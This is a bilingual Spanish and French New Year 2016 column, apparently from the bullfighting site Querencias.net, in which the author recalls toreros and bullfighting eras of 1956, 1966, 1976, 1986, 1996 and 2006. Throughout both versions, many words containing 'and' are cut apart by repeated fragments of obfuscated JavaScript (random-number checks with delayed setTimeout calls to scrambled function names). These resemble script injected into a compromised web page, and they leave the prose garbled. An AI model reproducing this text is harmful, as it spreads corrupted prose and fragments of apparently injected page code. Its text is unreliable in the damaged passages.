¡¡FELIZ AÑO NUEVO!!BONNE ANNÉE

Desde este penúltimo balcón del 2015, quiero desear un feliz año 2016 a todos los lectores de Querencias.net y a quienes la hacen posible. Qué la diosa Fortuna no nos vuelva la espalda y que, taurinamente, nos deje al menos como estamos, porque por el horizonte del futuro se barrunta más de una amenazante tormenta.

Desde que estoy en el mundo, el que viene será el séptimo año acabado en “6” que haya podido vivir. El primero de ellos fue 1956, cuyos recuerdos taurinos me sorprenden sentado en uno de los travesaños que afianzaban las patas de la mesa de comedor de mi casa, escuchandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando la radio, como hacían en aquellos momentos la mayor parte de la gente de Huelva, para seguir la retransmisión de la alternativa de Antonio Borrero, Chamaco, acaecida el domingo 14 de octubre en la ciudad que le sirvió de trampolín para encaramarse en los puestos cimeros del toreo: Barcelona. Se la daba otro torero paisano: El Litri, oficiandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando de testigo el arte colosal de Antonio Ordóñez, a la postre triunfador de la tarde al llevarse las cuatro orejas de los toros de Antonio Urquijo que le correspondieron.

En 1966 –año en que vestí mi primer traje de luces–, el panorama de la Fiesta había dado un vuelco rotundo. Aunque los nombres de Litri, Chamaco, Aparicio, Ostos o Antonio Bienvenida seguían apareciendo con tinta de reaparición o de veteranía en los carteles, una nueva generación de toreros inundaba el panorama taurino comandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andada por el indómito flequillo de El Cordobés, auténtica figura que prestaría su nombre a la época, flanqueado en muchas ocasiones por las rutilantes monteras de El Viti, Puerta, Camino, Romero, Palomo, Mondeño, El Pireo y un largo etcétera.

1976 me trae recuerdos envueltos en aires de decadencia. Ha crecido el tamaño del toro, el guarismo garantiza su edad, pero el fuste y magnitud de los toreros ha menguado respecto a los de la época anterior. Sigue habiendo buenos toreros, muy buenos; pero sin la impronta ni la personalidad de los que hicieron de la década de los 60 una de las más florecientes e importantes del toreo. Además, la anunciación de la democracia en un parto lleno de complicaciones inundaba de inquietudes –también de esperanzas– no sólo al país, sino particularmente al planeta taurino necesitado entonces –y necesitado ahora por razones distintas– de soluciones democráticas que vinieran a contribuir al beneficio de todos sus integrantes.

Cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando llega 1986, hace unos años que el toreo ha encontrado un nuevo mandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andón, un torero dotado de una personalidad diferenciadora que lo separa del resto y de un valor capaz de adentrarse por terrenos del toro inexplorados hasta entonces. Se trata de Paco Ojeda, quien, además de quedarse quieto, recupera –¡y de qué forma!– la ligazón del toreo desbancandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando la tediosa monotonía del unipase vigente a su llegada. Es también en estos años cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando renacen de sus cenizas toreros como Antoñete, Manolo Vázquez y Paula que les permiten cerrar con broche de oro sus carreras.

1996 fue un año muy significativo para el toreo, por marcar tanto una cima, como la aurora de una nueva época. Desde hacía unas temporadas, el toreo se había instalado en la aritmética de la desmesura. Las figuras el toreo más renombradas, como Joselito, Enrique Ponce y Rivera Ordóñez –los denominados “tres tenores”– así como Jesulín –el autor del “invento”– o Manuel Díaz, El Cordobés, se empeñaban en batir el record de corridas toreadas y sobrepasar el listón de las cien actuaciones por temporada. En aquella, quedan para la historia la triunfal encerrona del 2 de mayo de Joselito en Madrid, así como la faena de Ponce a “Lironcito”. Sin embargo, un aire puro y limpio nacido en Galapagar iba a darle la vuelta a la tortilla del toreo a un año vista.

En el 2006, el causante del vuelco anterior –José Tomás– descansa en su retiro, y, sin embargo, acapara más la atención de la afición, pendiente siempre de su retorno –que tendría lugar al año siguiente– que de lo que acontece en los ruedos. Para entonces, todo el anterior sistema de vigencias toreras ha sido pulverizado o modificado por las nuevas formas traídas por La Estatua: renace el pase natural, la verdad de zapatillas quietas, la hondura y el respeto al rito; los números se relegan a un puesto secundario y el matador de toros prestigia su figura y condición. En definitiva: dentro y fuera del toro, el toreo anterior se queda antiguo. La última gran época del toreo ha desarrollado ya su excepcionalidad.

Presto a salir al ruedo, tenemos al 2016. Veremos por donde “derrotan” sus amenazas. Por otro lado, savia nueva hay. Nombres como López Simón o Roca Rey suenan con fuerza en mi corazón y esperanzas, aunque no son los únicos. Veremos cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando el toro salga y la pasión se haga un sitio en las plazas.

Je souhaite à tous les lecteurs de Querencias.net et à tous ceux qui le rendent possible une heureuse année 2016. Que la chance nous accompagne et qu’au moins, taurinement, elle nous préserve, car à l’horizon pointe plus d’une menace.

Depuis que je suis venu au monde, l’année qui démarre est la septième finissant par le chiffre 6 que je puisse vivre. La première fut en 1956, dont je me souviens d’un jour étant assis à l’un des coins de la table du salon de mes parents, écoutant la radio, comme le faisaient à l’époque la majorité des gens de Huelva, pour suivre la retransmission de l’alternative d’Antonio Borrero, Chamaco, le dimanche 10 octobre dans la ville qui lui servit de tremplin pour accéder aux avant-postes de la tauromachie : Barcelone. Elle lui était conférée par un autre torero issu de sa même contrée : El Litri, avec pour témoin l’art colossal d’Antonio Ordoñez, à la fin triomphateur de cette corrida en coupant quatre oreilles de son lot de toros d’Urquijo.

En 1966 –l’année où j’ai porté mon premier habit de lumières- la Corrida avait connu un profond bouleversement. Même si les noms de Litri, Chamaco, Aparicio, Ostos ou Antonio Bienvenida figuraient toujours à l’occasion d’un retour ou pour marquer les affiches du sceau de leur expérience, une nouvelle génération de toreros inondait la planète taurine sous la houlette du torero à la frange rebelle, El Cordobés, entouré très souvent par les rutilantes monteras de El Viti, Puerta, Camino, Romero, Palomo, Mondeño, El Pireo et un long etc.

1976 me ramène des souvenirs marqués par une certaine décadence. Le volume du toro a augmenté, le chiffre affiché sur le toro garantit son âge, mais l’envergure et la magnificence a décliné par rapport aux toreros de l’époque antérieure. Il y a toujours de bons, de très bons toreros, mais sans l’empreinte et la personnalité et la personnalité de ceux qui firent de la décennie des années 60 l’une des plus fleurissantes et importantes de la tauromachie. En plus l’arrivée de la démocratie s’annonçait comme un accouchement difficile avec beaucoup d’inquiétudes –et aussi beaucoup d’espoirs- non seulement pour le pays, tout particulièrement pour la planète taurine qui avait besoin alors –tout comme maintenant mais pour des raisons différentes- de réponses démocratiques au bénéfice de tous.

Quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and arrive 1986, cela fait des années que la tauromachie a trouvé un leader, un torero avec une personnalité unique qui le distingue des autres et un courage qui lui permet de pénétrer des territoires inexplorés. Il s’agit de Paco Ojeda, qui hormis le fait de rester immobile, récupère –et de quelle manière !- l’enchaînement tauromachique détrônant la passe unique en vigueur à son arrivée. Ce sont aussi des années ou renaissent des toreros comme Antoñete, Manolo Vázquez et Paula qui leur permettent de finir en beauté leurs carrières.

1996 fut une année très significative dans la tauromachie, telle l’aurore d’une nouvelle époque. Depuis des saisons, la tauromachie s’était installée dans l’arithmétique de la démesure. Les figuras les plus renommées, comme Joselito, Enrique Ponce et Rivera Ordoñez –les dénommés « Trois ténors »- tout comme Jesulín –auteur de l’ « invention »- ou Manuel Díaz, El Cordobés, s’obstinent à battre le record de corridas toréées et dépasser la barre des cent prestations par saison. Au cours de cette décennie, il demeure pour l’histoire le solo devant six toros du 2 mai de Joselito à Madrid, tout comme la faena de Ponce à « Lironcito ». Cependant, un air pur et limpide venu de Galapagar allait tout chambouler un an plus tard.

En 2006, le protagoniste du volte-face précédent –José Tomás- se trouve au repos et pourtant tous les regards des aficionados se tournent vers lui, plus soucieux de son retour –qui se produirait l’année suivante- de ce qui passe dans les arènes. Ces temps-là, tout le système des normes taurines a été pulvérisé ou modifié par les nouvelles donnes imposées par « La Statue » : la passe naturelle renait, la vérité imposée par ces chaussons statiques, la profondeur et le respect du rite ; les chiffres sont relayées à un rang secondaire et le matador redore son blason et son prestige. En définitive : à l’intérieur et à l’extérieur de la corrida, la tauromachie précédente a vécu. La dernière grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande époque est marquée du sceau de l’exception.

Prêt à bondir dans l’arène, voici 2016. Nous verrons ce qu’il en sera des menaces concernant la corrida. Mais, d’un autre côté, il y a une nouvelle sève. Des noms comme López Simón et Roca Rey résonnent avec force dans mon cœur et amènent de l’espérance, mais ce ne sont pas les seuls. Nous verrons ce qu’il en adviendra quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and sortira le toro et que la passion s’enflammera dans les arènes.

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